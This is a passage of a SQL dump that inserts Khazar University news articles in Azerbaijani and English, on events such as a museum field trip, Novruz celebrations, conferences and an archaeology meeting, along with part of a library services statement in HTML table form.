tutan\r\ngörüşdə iştirak etmək üçün Azərbaycandadır.&nbsp;</p>'),(3387,1985,'en','Student Field Trip to Museum','On March 17, 2017, instructor Orkhan Zamanov coordinated a field trip to the Nature and History Museum named after Hasan bey Zerdabi for freshman students in the history...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in\"\"=\"\">On\r\nMarch 17, 2017, instructor Orkhan Zamanov coordinated a field trip to the\r\nNature and History Museum named after Hasan bey Zerdabi for freshman students\r\nin the history class of the School of Education. During the trip, Orkhan\r\nZamanov gave information about the remains of extinct animals and marine\r\ncreatures. The students had the opportunity to view&nbsp;marine species from the Pacific and Indian&nbsp;oceans.&nbsp;</p>'),(3389,1987,'az','“Xəzər” də Novruz bayramı','Martın 17-də Xəzər Universitetində Novruz bayramı münasibətilə musiqili-əyləncəli tədbir keçirildi. Universitetin Neftçilər kampusunun geniş həyətində tonqal qalanmış...','<p>Martın 17-də Xəzər Universitetində Novruz bayramı\r\nmünasibətilə musiqili-əyləncəli tədbir keçirildi. Universitetin Neftçilər\r\nkampusunun geniş həyətində tonqal qalanmış, bayram süfrəsi açılmışdı. Bayram şənliyində\r\nuniversitetin rəhbərliyi, əməkdaşları və tələbələr iştirak edirdilər.</p>\r\n<p>Universitetin Tədris işləri üzrə prorektoru Məhəmməd\r\nNuriyev və Tələbə məclisinin prezidenti Qurban Əsgərov iştirakçılrı təbrik\r\netdilər. M. Nuriyev bayram tonqalını yandırandan sonra Novruz şənliyi başlandı.\r\nRamal Azaflı sazda aşıq havası, universitetin magistr tələbəsi Elçin Fərzəliyev\r\nmahnı ifa etdilər. Əməkdaşlar və tələbələr rəqs edib, əyləndilər. </p>\r\n<p>Novruz şənliyi xoş əhval-ruhiyyə ilə başa çatdı.</p>'),(3390,1988,'az','Neft-qaz mühəndisliyi ixtisası tələbələri üçün açıq dərs keçirildi','2017-ci il martın 19-u və 25-də (2 gün ərzində) Neft Mühəndisliyi Cəmiyyətinin Xəzər Universiteti bölməsinin (SPE Khazar University Chapter) təşkilatçılığı və Neft mühəndisliyi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-ci il martın 19-u və 25-də (2 gün ərzində)\r\nNeft Mühəndisliyi Cəmiyyətinin Xəzər Universiteti bölməsinin (<em>SPE Khazar University Chapter</em>) təşkilatçılığı\r\nvə Neft mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalovun rəhbərliyi\r\nilə Xəzər Universitetinin neft-qaz mühəndisliyi ixtisası üzrə ikinci və üçüncü\r\nil tələbələri üçün açıq dərs keçirildi. Açıq dərs Abşeron yarımadasında yerləşən\r\nYasamal dərəsinin, Lökbatan-Puta-Quşxana yataqlarının yerüstü geoloji kəsilişlərində\r\nçöl geoloji tədqiqat işlərinin aparılması qaydalarını tələbələrə aşılamaq məqsədilə\r\nçöl geologiyası üzrə dosent Q.Zeynalov tərəfindən aparıldı. Açıq dərsdə qeyd\r\nolunan geoloji strukturlarda struktur elementlərin xarakterinin, qırışıqların və\r\nqırılma pozğunluqlarının xüsusiyyətlərinin, çöküntülərin toplanma və laylanma\r\nformalarının əmələgəlmə şəraitlərinin aşkar edilərək müşahidə edilməsi və\r\nçöküntü süxur laylarının uzanma azimutlarının və yatma bucaqlarının təyin edilməsi,\r\nkarbohidrogen yığımlarının toplanması şəraitini müəyyən etmək üçün potensial\r\nkollektor süxurların məsaməlik və keçiricilik xüsusiyyətlərinin vizual qiymətləndirilməsi\r\nyerüstü geoloji kəsilişlərdə əyani olaraq həyata keçirildi.&nbsp;</p>'),(3392,1990,'az','Oxford Universitetinin arxeoloqu Paul Wordsworth-la görüş keçirildi','2017-ci il martın 17-də Moskva Dövlət Universitetinin Bakı filialında Oxford Universitetinin arxeoloqu Paul Wordsworth-un Bərdə şəhərində apardığı qazıntıların hesabatından ibarət...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il martın 17-də Moskva Dövlət\r\nUniversitetinin Bakı filialında Oxford Universitetinin arxeoloqu Paul Wordsworth-un Bərdə şəhərində apardığı\r\nqazıntıların hesabatından ibarət görüşü keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə Xəzər\r\nUniversitetində nəşr olunan “Azərbaycan arxeologiyası”\r\njurnalının baş redaktoru tarix üzrə elmlər doktoru professor Qüdrət İsmayılzadə və Təhsil fakültəsi tarix müəllimliyi\r\nixtisasının tələbələri İlahə\r\nYusifli,Aysel\r\nMənsimova,Rüfət\r\nXəlilov,\r\nMəlahət Məmmədova iştirak etdilər.&nbsp;</p>'),(3394,1992,'az','Professor Hamlet İsaxanlının Mərakeşə  səfəri ','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı martın 16-20-də...','<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı martın 16-20-də Mərakeşdə səfərdə\r\nolmuşdur. O, Mərakeş kralı 6-cı Məhəmmədin\r\nyüksək himayəsi altında keçirilmiş “Crans Montana Forumu”nda iştirak etmişdir. H.\r\nİsaxanlı foruma Mərakeş Krallığının Azərbaycan Respublikasındakı səfiri Mohamed\r\nAdil Embarch`ın təşəbbüsü ilə dəvət olunmuşdu. </p>\r\n<p>Nəzərdə tutulduğu kimi,forumun birinci hissəsi (16-18 mart) Mərakeşin cənubunda,\r\nQərbi Səhra adlanan yerin Daxla (Dakhla) şəhərində, ikinci hissəsi isə (19-20\r\nmart) Atlantik okeanı boyu&nbsp; Daxla`dan Casablanca şəhərinə doğru üzən\r\n“Rapsody” gəmisində (12 mərtəbəli İtaliya gəmisi) keçirilmişdir. </p>\r\n<p>Təqribən 130 ölkədən min nəfərdən artıq şəxsin iştirak\r\netdiyi bu forumda bir sıra ölkə rəhbərləri, xüsusilə Afrikanın siyasi elitası,\r\nelm və sənət adamları təmsil olunmuşdu. Forumda, bu və ya digər dərəcədə\r\nAfrikanın problemləri və inkişafı ilə bağlı mövzular – qlobal siyasət,\r\nAfrikanın inkişafında Mərakeşin rolu, iqtisadiyyat, təhsil, ətraf mühit,\r\nenerji, gənclik, işsizlik, davamlı inkişaf və s. məsələlər&nbsp; müzakirə edilmişdir.</p>'),(3395,1993,'az','Xəzər Universiteti EURIE-2017 Təhsil Sammitində təmsil olundu','2017-ci il martın 22-dən 24-dək İstanbul şəhərində yerləşən Lütfi Kırdar Beynəlxalq Konqres Mərkəzində (İCEC) EURİE-2017 Təhsil Sammitinin rəsmi açılışı oldu. Sammiti giriş sözü...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">2017-ci il martın 22-dən 24-dək İstanbul şəhərində\r\nyerləşən Lütfi Kırdar Beynəlxalq Konqres Mərkəzində (İCEC) EURİE-2017 Təhsil\r\nSammitinin rəsmi açılışı oldu. Sammiti giriş sözü ilə Avrasiya\r\nUniversitetlər Birliyinin prezidenti Dr. Mustafa Aydın açdı. M.Aydın dünyanın 4\r\nqitəsindən 53 dövləti təmsil edən 200-dən artıq universitet &nbsp;nümayəndələrini,\r\nTürkiyə Respublikasının Təhsil nazirini, YÖK başqanını, millət vəkillərini,\r\nvaliləri, bələdiyyə başqanlarını və salona toplaşan bütün qonaqları salamlayaraq,\r\nEURİE-2017 Təhsil Sammitinin əhəmiyyətindən danışdı. Sammitin rəsmi açılışında\r\nTürkiyə Respublikasinin Təhsil naziri İsmet Yılmaz, Türkiyə Respublikasının Mədəniyyət\r\nvə Turizm naziri Nabi Avcı, Türkiyə Yüksek Öğretim Kurumunun başqan vəkili,\r\nprofessor Hasan Mandal və digər rəsmi şəxslər çıxış etdilər.</p>\r\n<p>Sammitdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı, İctimai əlaqələr və media üzrə\r\ndirektoru Əlövsət Əmirbəyli, Beynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova\r\nvə Xəzər Universitetinin məzunu\r\nhazırda İstanbul Aydın Universitetində magistr təhsili alan Nərmin Nurullayevaiştirak edirdilər.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Sammitdə Professor İsaxanli “Təhsil və universitetlərin fəaliyyətində\r\nqalanılmış uğurlar və qarşıda duran problemlər” haqqında iki dəfə çıxış etdi. </p>\r\n<p>EURIE Sammiti universitet nümayəndələri və ali təhsil peşəkarları\r\nüçün görüş yeridir.</p>\r\n<p>Hər il baş tutan bu sammitə sərgi və konfranslar daxildir. Bu isə\r\nsammit iştirakçılarına bir-birini tanımağa, öz biliklərini, imkanlarını\r\nartırmaqa imkan verir.</p>\r\n<p>EURIE-2017 Sammitində Əfqanıstan, Azərbaycan, Türkiyə, Fransa,\r\nAlmaniya, Yunanıstan, İtaliya, İran, Qazaxıstan, Makedoniya, Portuqaliya,\r\nRumıniya, İspaniya, Böyük Britaniya, ABŞ və başqa dövlətlərin bir çox qabaqcıl\r\nuniversitetləri bir araya gəldi.</p>\r\n<p>Sammitin birinci günündə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Avrasiya\r\nUniversitələr Birliyinin Baş Assambleyasının qapalı toplantısında çıxış etdi.</p>\r\n<p>3 gün davam edən EURIE-2017 Sammitinin proqramına panel\r\nsessiyaları, dəyirmi masalar, tanınmış təhsil nümayəndələri ilə görüşlər,\r\ntematik seminarlar, eləcə də təhsil sərgisi daxil idi. Xəzər Universitetinin nümayəndə\r\nheyəti təhsil sərgisində və digər tədbirlərdə fəal iştirak etdilər. Sammitdə Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıya xüsusi təşəkkür elan edildi. Sammitin ikinci günü axşam\r\nsammitdə iştirak edən bütün qonaqların şərəfinə Bosfor boğazında Qala yeməyi\r\nverildi.</p>\r\n<p>Sammitin keçirildiyi ərəfədə İctimai əlaqələr və media üzrə\r\ndirektor Əlövsət Əmirbəyli TRT-nin İstanbul Müdürlüyünün rəhbəri Abdulhamit\r\nAvşarla görüşdü.</p>\r\n<p>Sammitin sonunda xatirə şəkilləri çəkildi.</p>'),(3396,1994,'az','ERASMUS+ AESOP layihəsinin növbəti görüşü Xəzər Universitetində baş tutdu','2017-ci il martın 16-sı və 17-də Xəzər Universitetində “Ombudsman vəzifəsi yaratmaqla tələbələrin təmsili təyin olunması” (Advocacy Establishment for Students through...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il martın 16-sı və 17-də Xəzər Universitetində “Ombudsman vəzifəsi\r\nyaratmaqla tələbələrin təmsili təyin olunması” (<em>Advocacy Establishment for Students through Ombudsman Position</em> – <em>AESOP</em>) ERASMUS+ layihəsi çərçivəsində\r\nregional tərəfdaşlar arasında görüş keçirildi. Görüşdə Xəzər Universitetinin\r\nrektoru Dr. Hassan Niknafs qonaqları salamlayaraq, açılış nitqi söylədi. Görüşdə\r\niştirak edən Akaki Tsereteli Dövlət Universitetinin rektoru professor George\r\nGavtadze, Caucasus Universitetinin rektoru professor Kakha Shengelia, Azərbaycanda\r\nMilli ERASMUS+ Ofisinin rəhbəri Pərviz Bağırov və Təhsil Nazirliyinin nümayəndəsi\r\nYaşar Ömərov da nitq söyləyərək, layihənin əhəmiyyətindən danışdılar və tərəfdaşlara\r\ngələcək fəaliyyətlərində uğurlar arzuladılar. Daha sonra Gürcüstan, Ukrayna və\r\nAzərbaycandan olan tərəfdaş univeristetlərin nümayəndələri ehtiyacların qiymətləndirilməsi\r\nmövzusunda universitetlərdə aparılan sorğuların nəticələri haqqında məlumat\r\nverdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüş zamanı ehtiyacların qiymətləndirilməsi\r\nmövzusunda universitetlərdə aparılan sorğuların nəticələri və aprel-may\r\naylarında Avropa universitetlərinə təşkil olunacaq görüşlər zamanı müşahidə\r\nediləcək və öyrəniləcək məsələlər müzakirə olundu və fəaliyyət planı\r\nhazırlandı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Akaki Tsereteli Dövlət Universitetinin\r\nrektoru professor George Gavtadze and Caucasus Universitetinin rektoru\r\nprofessor Kakha Shengelia ayrı-ayrılıqda Xəzər\r\nUniversitetinin rektoru Dr. Hassan Niknafsla görüşdülər. Görüşlər zamanı universitetlər\r\narasındakı gələcək əməkdaşlığın inkişafı, habelə, müxtəlif mübadilə proqramları\r\nvə akademik miqyaslı tədbirlərin (seminar, konfrans, yay məktəbi) təşkili barəsində\r\nmüzakirələr aparıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşün ikinci günündə cari məsələlər və növbəti addımlar haqqında\r\nmüzakirələr aparıldı və layihənin ümümi idarəetmə görüşü keçirildi. Tədbirin\r\nsonunda qonaqlar Şirvanşahlar sarayını ziyarət etdilər. Xəzər Universitetinin tələbələrinin\r\nmüşaiəti ilə qonaqlar İçəri şəhəri gəzdilər və onun tarixi haqqında məlumat aldılar.&nbsp; &nbsp;</p>'),(3397,1992,'en','Hamlet Isaxanli visits Morocco','On March 16-20, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited Morocco to attend the Crans...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On March 16-20, 2017, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, visited Morocco to attend the Crans Montana Forum\r\norganized under the High Patronage of His Majesty King Mohammad VI, King of\r\nMorocco. Prof. Isaxanli’s invitation to the forum was initiated by Mohamed Adil\r\nEmbarch, Ambassador of Morocco to Azerbaijan.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The conference took place in two phases:\r\nbetween March 16 and 18, in Dakhla, a city in the Western Sahara Coast of\r\nMorocco, and on board of a ship (Rhapsody) from March 19 to 21.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The forum brought together more than one\r\nthousand representatives from 130 countries, including the elite of Africa and\r\npeople of arts and science. The forum highlighted the challenges of African\r\nintegration and the role of Morocco in the development of Africa. Their\r\ndiscussion also focused on economics, education, environment, energy, youth,\r\nunemployment, sustainable development, and so on.</p>'),(3410,2001,'en','Khazar University professor as guest on “Economic Forum” program','On March 26, 2017, Khazar University Professor Fuat Rasulov was a guest on the “Economic Forum” program hosted by Sabit Bagirov, head of the Center for Economic and Political...','<p>On March 26, 2017, Khazar University Professor Fuat\r\nRasulov was a guest on the “Economic Forum” program hosted by Sabit Bagirov,\r\nhead of the Center for Economic and Political Studies. The program discussed\r\nthe “Challenges faced by Azerbaijani Entrepreneurs.” </p>\r\n<p>Watch the program here:&nbsp;</p><p><a href=\"https://www.youtube.com/watch?v=2Fa8B5Ro1us&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=2Fa8B5Ro1us&amp;feature=youtu.be</a>​.  </p>'),(3411,2003,'en','Khazar University employee’s article published','On March 30, 2017, an article authored by Valide Karimova, Khazar university doctoral student and assistant to the dean of the School of Humanities and Social Sciences...','<p>On March 30, 2017, an article authored by Valide\r\nKarimova, Khazar university doctoral student and assistant to the dean of the\r\nSchool of Humanities and Social Sciences, entitled “Aesthetic Theory in\r\nLiterary Criticism” was published in the <em>Scientific News</em> <em>Journal</em>\r\nof Sumgait State University.</p>\r\n<p>The article is an analysis of the use of the\r\naesthetic concept in literary criticism; it also contains discussions and\r\nfindings of previous studies.&nbsp; </p>\r\n<p>Read the full article here:&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/Meqale.pdf.PDF\">Meqale.pdf</a>.  </p>'),(3399,1991,'en','Hamlet Isaxanli’s Interview to “Exo”','On March 23, 2017, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, gave an interview to the “Exo” news site...','<p style=\"text-align:left\"><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt\">On March 23, 2017,</span><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;color:#252525;background:#fffffff\"> Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, gave an interview to the\r\n“Exo” news site. The interview is available at the following link: &nbsp;&nbsp;</span></p>'),(3400,1990,'en','Meeting with Oxford University archaeologist','On March 17, 2017, Lomonosov Moscow State University in Baku held a meeting with archeologist Paul Wordsworth from Oxford University to detail his archeological excavations...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On March 17, 2017, Lomonosov Moscow\r\nState University in Baku held a meeting with archeologist Paul Wordsworth from\r\nOxford University to detail his archeological excavations in Barda.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Dr. Gudrat Isamayilzade, editor of the <em>Journal\r\nof Azerbaijani Archeology</em> published by Khazar University Press, was also\r\npresent at the meeting. The meeting was also attended by the following students\r\nof the Department of History and Archeology: Ilaha Yusifli, Aysel Mansimova,\r\nRufat Khalilov and Malahat Mammadova. &nbsp;</p>'),(5027,2929,'az','Xidmətlər','Xidmətlər',''),(5028,2929,'en','Services','Services','');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (5029,2930,'az','Xidmətə Dair Bəyanat','Xidmətə Dair Bəyanat','<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Bu sənəddə KİM-in istifadəçilərinə\r\ntəklif etdiyi xidmətlər barəsində məlumat verilir. KİM-in təcrübəli əməkdaşları\r\noxucuların hər cür sorğularını cavablandırmaq və təklif olunan xidmət üsulları\r\nbarəsində ətraflı məlumat vermək öhdəliyi daşıyır. Sənəd digər əsas informasiya\r\nxidmətləri ilə birgə nəzərdən keçirilməlidir. Buraya Elektron resurslardan\r\nistifadə etmək qaydaları, Giriş siyasəti, Dövriyyə Siyasəti və s. daxildir.</p>\r\n<table cellpadding=\"0\" width=\"708\" style=\"\" width:531.0pt;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"108\" style=\"text-align:left\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>KİM</strong></p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Biz\r\n  etməliyik</strong></p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Sizdən\r\n  gözlənilir</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:10.85pt;text-indent:9.0pt;line-height:normal\"\"=\"\">Mühitin öyrənilməsi</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Giriş</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Tələbələri /işçiləri oxucu bileti\r\n  ilə təmin etmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Qeydiyyat\r\n  üçün Xəzər Universitetinin tələbələri /işçiləri üçün oxucu biletini təqdim\r\n  etmək&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Mebel\r\n  və avadanlıqlar&nbsp;</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mebeli istismara yararlı\r\n  vəziyyətdə saxlamaq<br>\r\n  Bütün kompüterləri mütəmadi olaraq yoxlamaq<br>\r\n  Avadanlıqlardakı hər hansı nasazlıq barədə istifadəçiləri xəbərdar etmək </p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Mebel\r\n  və avadanlıqlara qayğı ilə yanaşmaq<br>\r\n  İstifadə etdiyiniz avadanlıqlara görə məsuliyyət daşıdığınızı və onların\r\n  təhlükəsizliyinə görə cavabdeh olduğunuzu bilməlisiniz </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Sağlamlıq\r\n  və Təhlükəsizlik</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">“Sağlamlıq və Təhlükəsizlik”haqqda\r\n  mövcud qanunvericiliyə uyğun təhlükəsiz iş mühiti ilə təmin etmək<br>\r\n  Təyin edilmiş vaxtda işçilərin təhlükəsizliyini təmin etmək<br>\r\n  Yanğından mühafizə xidmətinə zəmanət verir<br>\r\n  Oxu zallarının təmizliyinə və səliqəliliyinə zəmanət verir </p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">&nbsp;<br>\r\n  Sağlamlığınız və təhlükəsizliyiniz üçün şəxsən məsuliyyət daşıyırsız,\r\n  həmçinin başqalarının sağlamlığına təhlükə yaradan hərəkətlərdən\r\n  çəkinməlisiniz<br>\r\n  Kitabxanaya yemək və içmək gətirmək qəti qadağandır<br>\r\n  Zalı zibilləmək qəti qadağandır<br>\r\n  Zalı tərk edərkən kitab və jurnalları təhvil verin </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Oxu\r\n  zalları</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Müxtəlif ixtisas qruplarına uyğun\r\n  oxu zalları, müzakirə zalları və kompüter zalı ilə təmin edir</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Müxtəlif\r\n  oxu zallarından istifadə edin<br>\r\n  Başqalarını narahat etmədən işləyin<br>\r\n  Mobil telefonu kitabxanaya daxil olmazdan əvvəl səssiz rejimə keçirin </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Rezervasiya</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Oxuculara elektron kataloqun\r\n  imkanlarından yararlanaraq, tədris kurslarına aid ədəbiyyatı rezerv etmək\r\n  imkanı yaradır</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Rezerv\r\n  olunmuş ədəbiyyatı yalnız oxu zalında istifadə etmək</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Sənəd\r\n  təchizatı</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Beynəlxalq kitabxanalararası\r\n  mübadilə xidmətinə əsasən universitetdə olmayan nüsxələrin əldə olunmasını\r\n  təmin etmək<br>\r\n  Beynəlxalq kitabxanalararası mübadilədə İSBN istifadə etmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Sorğuda\r\n  sənədi dolğun və dəqiq biblioqrafik təsvir etmək&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Məlumat\r\n  Mərkəzi</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İstifadəçilərə qarşı nəzakətli\r\n  davranaraq, mümkün qədər tez və effektiv yardım göstərmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitabxana\r\n  əməkdaşlarına qarşı hörmətlə yanaşmaq</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitablar</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kitab və digər tədris\r\n  materiallarının əldə edilməsini asanlaşdıran sistemi inkişaf etdirmək&nbsp;</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitab\r\n  nüsxələrinin lazımi qədər olmaması səbəbindən bütün tələbələrin ehtiyaclarını\r\n  ödəmək mümkün deyil&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Soraq\r\n  materialları</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Soraq materiallarından istifadəni\r\n  təmin edir, buraya ensiklopediyalar, lüğətlər, atlaslar, tezariuslar,\r\n  Ginnesin rekordlar kitabı və s. aiddir</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Soraq\r\n  materiallarını oxu zalından çıxarmaq olmaz</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Jurnallar</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bir çox sahələrə aid jurnallardan\r\n  istifadəni təmin etmək, həmçinin<br>\r\n  jurnallara elektron girişi təmin etmək üçün yardım göstərmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Jurnallar\r\n  yalnız Dövri mətbuat zalında istifadə olunmalıdır</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">CD-ROMlar,<br>\r\n  Audio-Video kolleksiya</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">CD-ROMlar, audio-video materiallar\r\n  Dövri mətbuat zalında toplanmışdır</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Abonement\r\n  zalında yerləşən əlavə nüsxələrdən istifadə kitab verilişi qaydalarına üyğun\r\n  həyata keçirilir</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Elektron\r\n  İnformasiya 